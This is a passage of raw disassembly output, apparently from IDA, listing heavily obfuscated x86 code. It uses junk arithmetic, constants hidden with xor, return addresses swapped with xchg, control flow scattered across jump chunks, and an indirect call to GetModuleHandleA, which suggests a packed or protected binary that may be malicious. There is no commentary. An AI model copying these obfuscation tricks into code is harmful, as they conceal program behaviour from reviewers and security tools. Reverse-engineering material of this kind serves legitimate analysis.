sub_427564-2F8Aj ; sub_427564:loc_426FE9j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00425F06 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426449 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004264B2 SIZE 00000005 BYTES push ebx push 98984D98h pop ebx and ebx, 6D900BAh rol ebx, 1Ch add ebx, 6AE0741Ah xor ebx, 0EAE9D433h xchg ebx, [esp+4+var_4] jmp loc_425F06 sub_427DE6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424EC9 loc_427E0A: ; CODE XREF: sub_424EC9:loc_4262D5j mov eax, ebx xchg eax, [esp+0] mov [ebp-4], eax push 0DBABFA75h pop eax xor eax, 2DBE023Ah add eax, 31B1A774h or eax, ds:4000F3h jmp loc_427298 ; END OF FUNCTION CHUNK FOR sub_424EC9 ; --------------------------------------------------------------------------- loc_427E2F: ; DATA XREF: sub_4246DB+8o mov esp, ebp pop ebp mov eax, ds:dword_4233AC or eax, eax jmp loc_4261EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427032 loc_427E3F: ; CODE XREF: sub_427032:loc_424491j mov edx, [ebp-8] mov eax, [ebp-4] loc_427E45: ; CODE XREF: sub_4263E3:loc_425056j call sub_426B29 call sub_424361 loc_427E4F: ; CODE XREF: sub_428E76+1Cj jmp loc_426847 ; END OF FUNCTION CHUNK FOR sub_427032 ; =============== S U B R O U T I N E ======================================= sub_427E54 proc near ; DATA XREF: sub_428DDB+9o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423E31 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424127 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00428EE5 SIZE 00000006 BYTES cdq add eax, [esp+0] adc edx, [esp+arg_0] add esp, 8 movzx eax, word ptr [eax] shl eax, 2 jmp loc_424127 sub_427E54 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sub ebx, 6BB8CAEFh jmp loc_424816 ; --------------------------------------------------------------------------- locret_427E75: ; CODE XREF: hjohnhn9:0042672Bj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_427E76: ; CODE XREF: sub_427C9B+84j jmp loc_423433 ; END OF FUNCTION CHUNK FOR sub_427C9B ; =============== S U B R O U T I N E ======================================= sub_427E7B proc near ; CODE XREF: sub_424AE3+Cp ; FUNCTION CHUNK AT 00426C6F SIZE 00000005 BYTES push offset dword_424E24 jmp loc_426C6F sub_427E7B endp ; =============== S U B R O U T I N E ======================================= sub_427E85 proc near ; CODE XREF: hjohnhn9:004233CEj ; sub_426F5A:loc_426BA8p ; FUNCTION CHUNK AT 0042418D SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00426E75 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427475 SIZE 0000000B BYTES xchg eax, [esp+0] pop eax jz loc_427475 lea eax, [ebp-125h] jmp loc_42418D sub_427E85 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ebx, eax call sub_4275B2 ; START OF FUNCTION CHUNK FOR sub_426475 loc_427EA1: ; CODE XREF: sub_426475-436j jmp loc_426E9B ; END OF FUNCTION CHUNK FOR sub_426475 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4235D8 loc_427EA6: ; CODE XREF: sub_4235D8+Bj mov ds:dword_423940, eax ; END OF FUNCTION CHUNK FOR sub_4235D8 ; START OF FUNCTION CHUNK FOR sub_4278EC loc_427EAB: ; CODE XREF: hjohnhn9:loc_423C44j ; sub_427A36-178Bj ... js loc_42382E cmp ds:dword_423944, 0 jnz loc_4243F7 push offset loc_423815 jmp nullsub_44 ; END OF FUNCTION CHUNK FOR sub_4278EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428271 loc_427EC8: ; CODE XREF: sub_428271:loc_4281ACj jnz loc_428EF2 mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] push offset sub_428DDB jmp loc_427F5A ; END OF FUNCTION CHUNK FOR sub_428271 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_427EE2: ; CODE XREF: sub_423B05:loc_425E64j add ebp, 0CC738441h add esi, 5BCE1CEAh cmp edx, ecx jmp loc_423648 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- loc_427EF5: ; CODE XREF: hjohnhn9:00424CBAj jo loc_427085 ; START OF FUNCTION CHUNK FOR sub_42851A loc_427EFB: ; CODE XREF: sub_42851A-3617j add ebx, 7E1A2B03h xchg ebx, [esp+0Ch+var_C] jmp loc_424603 ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- loc_427F09: ; CODE XREF: hjohnhn9:loc_424941j xor edx, 0F82B8AEDh push edx ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_427F10: ; CODE XREF: sub_4263E3:loc_428A14j push esi mov esi, eax xchg esi, [esp+4+var_4] call sub_42855B call sub_4262C5 add esp, 10h jmp loc_4265E9 ; END OF FUNCTION CHUNK FOR sub_4263E3 ; --------------------------------------------------------------------------- sbb edx, 0F867FFC7h jmp sub_428718 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42677F loc_427F33: ; CODE XREF: sub_42677F:loc_423C56j mov edx, ecx xchg edx, [esp+14h+var_14] mov eax, esp ; END OF FUNCTION CHUNK FOR sub_42677F ; START OF FUNCTION CHUNK FOR sub_424819 loc_427F3A: ; CODE XREF: sub_424819+6j push 0 mov edx, esp jmp loc_4272E4 ; END OF FUNCTION CHUNK FOR sub_424819 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_427F43 proc near ; CODE XREF: sub_4262C5:loc_4251E6j retn sub_427F43 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426638 loc_427F44: ; CODE XREF: sub_426638-352Fj jmp loc_426139 ; END OF FUNCTION CHUNK FOR sub_426638 ; --------------------------------------------------------------------------- loc_427F49: ; CODE XREF: hjohnhn9:0042301Cj ; hjohnhn9:004267A1j jmp loc_426B9C ; --------------------------------------------------------------------------- loc_427F4E: ; CODE XREF: hjohnhn9:loc_427FE8j jz loc_428BA0 jmp loc_4273DD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_44. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428271 loc_427F5A: ; CODE XREF: sub_428271-395j jmp nullsub_48 ; END OF FUNCTION CHUNK FOR sub_428271 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426638 loc_427F5F: ; CODE XREF: sub_426638+Bj jmp loc_4230FD ; END OF FUNCTION CHUNK FOR sub_426638 ; --------------------------------------------------------------------------- loc_427F64: ; CODE XREF: hjohnhn9:00428FE7j jz loc_42476D jmp loc_423075 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_47. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_427F70: ; CODE XREF: sub_4278DC+Bj jmp loc_428FEC ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424564 loc_427F75: ; CODE XREF: sub_424564+15j jmp loc_426402 ; END OF FUNCTION CHUNK FOR sub_424564 ; --------------------------------------------------------------------------- ror ebp, 11h jmp sub_424E5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_427F82: ; CODE XREF: sub_427852:loc_425156j dec dword ptr [ebp-1Ch] jnz loc_426AA2 jmp loc_428883 ; END OF FUNCTION CHUNK FOR sub_427852 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427F90 proc near ; CODE XREF: sub_4278B9-44A1p ; sub_4241F3+7p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042440F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004275E4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428496 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00428F6C SIZE 00000022 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_C], eax jmp loc_4275E4 sub_427F90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231AD loc_427FA4: ; CODE XREF: sub_4231AD:loc_4265C8j mov al, [ebp-5] pop ecx pop ecx pop ebp jmp loc_4249DC ; END OF FUNCTION CHUNK FOR sub_4231AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_427FAF: ; CODE XREF: sub_4265CD:loc_426B68j cmp ecx, 5E24A82Eh loc_427FB5: ; CODE XREF: hjohnhn9:00424139j jmp loc_425D6F ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284CB loc_427FBA: ; CODE XREF: sub_4284CB:loc_425B97j call nullsub_4 loc_427FBF: ; CODE XREF: sub_4240E6+Bj ; sub_428ABB+7j mov eax, ds:dword_426E3C call sub_427A58 loc_427FC9: ; CODE XREF: sub_424564+1EC4j jmp loc_426559 ; END OF FUNCTION CHUNK FOR sub_4284CB ; =============== S U B R O U T I N E ======================================= sub_427FCE proc near ; CODE XREF: sub_424A78:loc_427800j push ebp mov eax, [ebp-20h] call sub_423B6C pop ecx jmp loc_4241DB sub_427FCE endp ; =============== S U B R O U T I N E ======================================= sub_427FDD proc near ; DATA XREF: sub_4263E3:loc_4290A8o push eax ror eax, 0Eh mov ds:dword_42339C, eax retn sub_427FDD endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_427FE8: ; CODE XREF: hjohnhn9:004236DFj jmp loc_427F4E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_427FED: ; CODE XREF: sub_4263E3+8j rol eax, 0Eh jmp loc_4250A8 ; END OF FUNCTION CHUNK FOR sub_4263E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_427FF5: ; CODE XREF: sub_4279C0-15FEj mov al, 1 pop edx call edx ; GetModuleHandleA xor eax, eax mov [ebp+var_4], eax jmp loc_4279A9 ; END OF FUNCTION CHUNK FOR sub_4279C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_428004: ; CODE XREF: sub_427486:loc_427921j ; hjohnhn9:00427942j xor edx, 0B78BAB96h push eax pushf push 795F89B4h pop eax sub eax, 0C50DC6EFh and eax, 1CB6C470h rol eax, 1Eh jmp loc_42721D ; END OF FUNCTION CHUNK FOR sub_427486 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_92. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423AAF loc_428027: ; CODE XREF: sub_423AAF+C15j jmp sub_424877 ; END OF FUNCTION CHUNK FOR sub_423AAF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4245BA loc_42802C: ; CODE XREF: sub_4245BA+13j jmp nullsub_46 ; END OF FUNCTION CHUNK FOR sub_4245BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_428031: ; CODE XREF: sub_4262C5+33Aj jnz loc_4264E6 add ecx, edi add eax, 699293F1h cmp ebp, 0C0F19894h jmp loc_423C0D ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E8C loc_42804B: ; CODE XREF: sub_426E8C-25A0j jmp loc_426852 ; END OF FUNCTION CHUNK FOR sub_426E8C ; --------------------------------------------------------------------------- loc_428050: ; CODE XREF: hjohnhn9:00423510j push eax mov eax, ebp xchg eax, [esp] mov ebp, esp push ecx jmp loc_423E01 ; --------------------------------------------------------------------------- loc_42805E: ; DATA XREF: sub_428ABB+Do lea edx, [ebp-14h] mov eax, offset dword_426E40 call sub_427AEB lea eax, [ebp-14h] push eax loc_42806F: ; CODE XREF: hjohnhn9:loc_428515j call sub_427A36 jmp loc_4284D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_428079: ; CODE XREF: sub_42304F+11E4j call sub_428D1E loc_42807E: ; CODE XREF: sub_4290CF+Aj mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] xor edx, edx push edx jmp loc_424A33 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_42808F: ; CODE XREF: sub_4278DC+1727j jnz loc_42515B jmp loc_424BA3 ; --------------------------------------------------------------------------- loc_42809A: ; CODE XREF: sub_4278DC-3542j xor esi, 0FED4AF4Dh add esi, 637C60D5h xchg esi, [esp+4+var_4] jmp sub_4244F5 ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- loc_4280AE: ; CODE XREF: hjohnhn9:00424444j ; hjohnhn9:loc_42487Dj jnb loc_427266 sbb ebp, 0E6C0B23Ch jmp sub_427324 ; --------------------------------------------------------------------------- loc_4280BF: ; DATA XREF: sub_4240E6:loc_42744Eo mov eax, offset dword_426E40 call sub_427AEB lea eax, [ebp-14h] push eax jmp loc_428515 ; =============== S U B R O U T I N E ======================================= sub_4280D2 proc near ; CODE XREF: hjohnhn9:00424FD8j ; sub_426475-8F4p arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi xchg ecx, [esp-4+arg_0] jmp sub_424AAE sub_4280D2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push esi push 7AA4790Dh pop esi and esi, 0C25CDF42h test esi, 80000000h jmp loc_423265 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428271 loc_4280F6: ; CODE XREF: sub_428271:loc_42350Bj adc edx, [esp+arg_0] add esp, 8 mov eax, [eax] add eax, [ebp-4] call sub_427F90 cmp eax, [ebp-8] jmp loc_4281AC ; END OF FUNCTION CHUNK FOR sub_428271 ; --------------------------------------------------------------------------- jbe loc_4247F8 jmp sub_428C4E ; --------------------------------------------------------------------------- mov edx, 0A1E8B87Bh jmp sub_427994 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_428124: ; CODE XREF: sub_424631+14j call sub_428788 loc_428129: ; CODE XREF: sub_425DE4+9j pop eax rol eax, 1 sub eax, ds:4000F0h add eax, 19868220h mov eax, [eax] or eax, eax jnz loc_423B9C jmp loc_425B0E ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- add edx, ebx mov [edx], ebx jmp sub_4281B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F85 loc_428150: ; CODE XREF: sub_426F85:loc_42726Dj test eax, eax jl loc_428EEB push offset loc_426A97 jmp nullsub_81 ; END OF FUNCTION CHUNK FOR sub_426F85 ; =============== S U B R O U T I N E ======================================= sub_428162 proc near ; CODE XREF: sub_4241D2+4p ; hjohnhn9:00428A66j xchg esi, [esp+0] pop esi call sub_424698 pop ecx mov [ebp-20h], eax jmp loc_424C37 sub_428162 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427B51 loc_428174: ; CODE XREF: sub_427B51:loc_427B58j test byte ptr [ebp-8], 2 jz loc_424C37 jmp sub_4234CA ; END OF FUNCTION CHUNK FOR sub_427B51 ; =============== S U B R O U T I N E ======================================= sub_428183 proc near ; DATA XREF: sub_428183-4E3Do ; FUNCTION CHUNK AT 0042332F SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0042335C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424EAA SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00428B11 SIZE 00000005 BYTES pop eax cmp dword ptr [eax], 0 jnz loc_424EAA jmp sub_427C43 sub_428183 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428192 proc near ; CODE XREF: sub_428183-4E42p ; hjohnhn9:loc_4239E7j ... ; FUNCTION CHUNK AT 004247CF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00428253 SIZE 0000000A BYTES jnb loc_428253 push ebp mov ebp, esp mov esp, ebp jmp loc_4247CF sub_428192 endp ; --------------------------------------------------------------------------- loc_4281A2: ; DATA XREF: sub_428477-4A9Bo pop ecx ; START OF FUNCTION CHUNK FOR sub_425BF2 loc_4281A3: ; CODE XREF: sub_425BF2:loc_4290C9j xchg esi, [esp-8+arg_4] mov ebp, esi pop esi retn 0Ch ; END OF FUNCTION CHUNK FOR sub_425BF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428271 loc_4281AC: ; CODE XREF: sub_428271-167j jmp loc_427EC8 ; END OF FUNCTION CHUNK FOR sub_428271 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_119. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xchg edi, esi jmp sub_42636C ; =============== S U B R O U T I N E ======================================= sub_4281B9 proc near ; CODE XREF: sub_424631+37Fp ; hjohnhn9:0042814Bj xchg ebx, [esp+0] pop ebx jnz loc_423F3D mov eax, [ebp+8] push eax mov eax, [ebp+8] push offset loc_428DC2 jmp nullsub_47 sub_4281B9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4281D4: ; CODE XREF: hjohnhn9:00425FD7j jnz near ptr dword_4236FC+14h jmp loc_426D46 ; --------------------------------------------------------------------------- jnp loc_426889 jmp loc_424A75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424946 loc_4281EA: ; CODE XREF: sub_424946:loc_429018j pop ebx add eax, edx push esi push 2E2B81F4h jmp loc_42898A ; END OF FUNCTION CHUNK FOR sub_424946 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426749 loc_4281F8: ; CODE XREF: sub_426749+2717j call sub_427AEB lea eax, [ebp-14h] push eax call sub_427A36 mov ds:dword_426E6C, eax mov ds:byte_426E54, 1 lea eax, [ebp-14h] jmp loc_42373A ; END OF FUNCTION CHUNK FOR sub_426749 ; --------------------------------------------------------------------------- loc_42821A: ; DATA XREF: sub_4249BF+3o xchg ebx, [esp] mov ebp, esp push ecx mov esp, ebp xchg esi, [esp] mov ebp, esi jmp loc_425B57 ; --------------------------------------------------------------------------- loc_42822C: ; CODE XREF: hjohnhn9:004230B7j jg loc_426BEA test ebp, edx jmp loc_425EB4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42823A: ; CODE XREF: hjohnhn9:004285BCj jmp loc_4268F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_42823F: ; CODE XREF: sub_427852+AE0j jmp loc_424064 ; END OF FUNCTION CHUNK FOR sub_427852 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425029 loc_428244: ; CODE XREF: sub_425029+1Dj jmp loc_428999 ; END OF FUNCTION CHUNK FOR sub_425029 ; =============== S U B R O U T I N E ======================================= sub_428249 proc near ; CODE XREF: sub_4248B1+15p ; hjohnhn9:00426B7Bj ; FUNCTION CHUNK AT 00427632 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push eax jmp loc_427632 sub_428249 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428192 loc_428253: ; CODE XREF: sub_428192j push offset sub_42870E jmp nullsub_105 ; END OF FUNCTION CHUNK FOR sub_428192 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_42825D: ; CODE XREF: sub_427564:loc_42901Dj add ecx, ebp add ecx, 268E381Eh mov [ecx], eax xchg esi, [esp+0] mov ecx, esi call sub_425EEA ; END OF FUNCTION CHUNK FOR sub_427564 ; =============== S U B R O U T I N E ======================================= sub_428271 proc near ; CODE XREF: hjohnhn9:00426AF1j ; sub_427852+16C9p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042350B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424073 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00426B80 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00427EC8 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00427F5A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004280F6 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004281AC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004286E6 SIZE 0000000B BYTES xchg edx, [esp+0] pop edx push edx push eax mov eax, [ebp-18h] jmp loc_426B80 sub_428271 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42345B loc_42827F: ; CODE XREF: sub_42345B+50E2j xchg edi, [esp+8+var_8] jmp nullsub_2 ; END OF FUNCTION CHUNK FOR sub_42345B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_428287: ; CODE XREF: sub_423F65:loc_427550j add eax, ebp add eax, 50FF1F19h mov eax, [eax] call sub_424C5F retn ; END OF FUNCTION CHUNK FOR sub_423F65 ; --------------------------------------------------------------------------- locret_428297: ; CODE XREF: hjohnhn9:0042408Ej retn ; --------------------------------------------------------------------------- pushf jmp sub_4241F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424B97 loc_42829E: ; CODE XREF: sub_424B97:loc_424EBEj pop edx push edx push 0FF748C5Ah pop edx and edx, 7188AD6Ch sub edx, 9D9846B5h js loc_427420 adc ebx, 5158AB9h jmp loc_42741C ; END OF FUNCTION CHUNK FOR sub_424B97 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_74. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_4282C4: ; CODE XREF: sub_424819+2AD9j jmp loc_424013 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- loc_4282C9: ; CODE XREF: hjohnhn9:0042720Ej jmp loc_4269D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278B9 loc_4282CE: ; CODE XREF: sub_4278B9-4499j jmp loc_4267FC ; END OF FUNCTION CHUNK FOR sub_4278B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_4282D3: ; CODE XREF: sub_42304F+19j jmp loc_42781A ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423425 loc_4282D8: ; CODE XREF: sub_423425:loc_4278D7j push ecx push offset loc_423A05 jmp nullsub_50 ; END OF FUNCTION CHUNK FOR sub_423425 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_4282E4: ; CODE XREF: sub_4260BD:loc_426E4Dj jz loc_42794A jmp loc_427714 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_4282EF: ; CODE XREF: sub_424A78:loc_4248CBj pop ecx mov [ebp-20h], eax jmp loc_4242D9 ; END OF FUNCTION CHUNK FOR sub_424A78 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4282F8 proc near ; CODE XREF: sub_424A78+2175p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004247D9 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00425BC8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426189 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426A5D SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h mov [ebp+var_4], eax mov eax, [ebp+var_4] jmp loc_4247D9 sub_4282F8 endp ; =============== S U B R O U T I N E ======================================= sub_428309 proc near ; CODE XREF: hjohnhn9:00424A02j ; sub_42897B+Ap ; FUNCTION CHUNK AT 0042491D SIZE 00000005 BYTES xchg edi, [esp+0] pop edi mov esp, ebp push offset loc_426561 jmp loc_42491D sub_428309 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_428319: ; CODE XREF: sub_427852:loc_425F3Aj add esp, 8 mov eax, [eax] add eax, [ebp-4] call sub_427F90 loc_428326: ; CODE XREF: sub_424161+423j cmp eax, [ebp-8] jnz loc_428EF2 mov eax, [ebp-14h] jmp loc_42823F ; END OF FUNCTION CHUNK FOR sub_427852 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_428337: ; CODE XREF: sub_4260BD-2014j mov esi, 7CAB0713h loc_42833C: ; CODE XREF: sub_4260BD:loc_42409Bj xor ebx, 81F09744h add ebx, ebp add ebx, 0B28572C8h mov [ebx], eax jmp loc_42497B ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- loc_428351: ; CODE XREF: hjohnhn9:00423C34j jnb loc_42465A ; =============== S U B R O U T I N E ======================================= sub_428357 proc near ; CODE XREF: sub_42865B+7p ; FUNCTION CHUNK AT 004232C8 SIZE 00000009 BYTES xchg eax, [esp+0] pop eax shr eax, 0Bh jmp loc_4232C8 sub_428357 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_428363: ; CODE XREF: hjohnhn9:loc_428EC5j call near ptr dword_4236FC+32h loc_428368: ; CODE XREF: hjohnhn9:00427C87j jmp loc_429094 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42486B loc_42836D: ; CODE XREF: sub_42486B+7j jmp loc_428F71 ; END OF FUNCTION CHUNK FOR sub_42486B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_428372: ; CODE XREF: sub_42325E:loc_423E01j mov esp, ebp pop ebp push 7178371Ch pop eax jmp loc_423E36 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- dword_428380 dd 0 ; DATA XREF: sub_4264FA+Dw dword_428384 dd 0 ; DATA XREF: sub_42851A-1D4Dr ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_428388: ; CODE XREF: sub_426354-48j jmp loc_425C05 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D9D loc_42838D: ; CODE XREF: sub_427D9D:loc_424EECj jmp loc_4264BC ; END OF FUNCTION CHUNK FOR sub_427D9D ; --------------------------------------------------------------------------- dw 89D4h dword_428394 dd 0 ; DATA XREF: hjohnhn9:00425B58r ; sub_425D27+Aw dword_428398 dd 0 ; DATA XREF: sub_423B05+7r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_42839C: ; CODE XREF: sub_424631+3790j jmp nullsub_53 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427AC0 loc_4283A1: ; CODE XREF: sub_427AC0:loc_425C3Bj xor eax, 0C62E2D94h add eax, ebp add eax, 19D39E5Dh mov eax, [eax] push esi mov esi, eax call sub_42387A ; END OF FUNCTION CHUNK FOR sub_427AC0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_30. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4251EB loc_4283BA: ; CODE XREF: sub_4251EB+15j jmp loc_425FDC ; END OF FUNCTION CHUNK FOR sub_4251EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_4283BF: ; CODE XREF: sub_426354-15D3j jmp loc_426E07 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424181 loc_4283C4: ; CODE XREF: sub_424181+7j jmp loc_425ED0 ; END OF FUNCTION CHUNK FOR sub_424181 ; =============== S U B R O U T I N E ======================================= sub_4283C9 proc near ; CODE XREF: hjohnhn9:00425FF2j ; hjohnhn9:loc_4266BEj ; DATA XREF: ... arg_0 = dword ptr 4 add eax, 0E260B5A1h popf xchg eax, [esp-4+arg_0] jmp sub_42897B sub_4283C9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426708 loc_4283D8: ; CODE XREF: sub_426708-1F54j xchg eax, [esp+4+var_4] jmp sub_424877 ; END OF FUNCTION CHUNK FOR sub_426708 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426CE6 loc_4283E0: ; CODE XREF: sub_426CE6:loc_423EC1j mov eax, [eax] push offset loc_426BAD jmp loc_42376C ; END OF FUNCTION CHUNK FOR sub_426CE6 ; --------------------------------------------------------------------------- adc ebx, 6F014DE4h jmp sub_426D6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_4283F7: ; CODE XREF: sub_423CDB+3066j mov eax, [ebp-14h] mov eax, [eax+18h] dec eax test eax, eax jl loc_4244EE inc eax jmp loc_424CA5 ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- adc eax, ecx jmp sub_42486B ; [00000001 BYTES: COLLAPSED 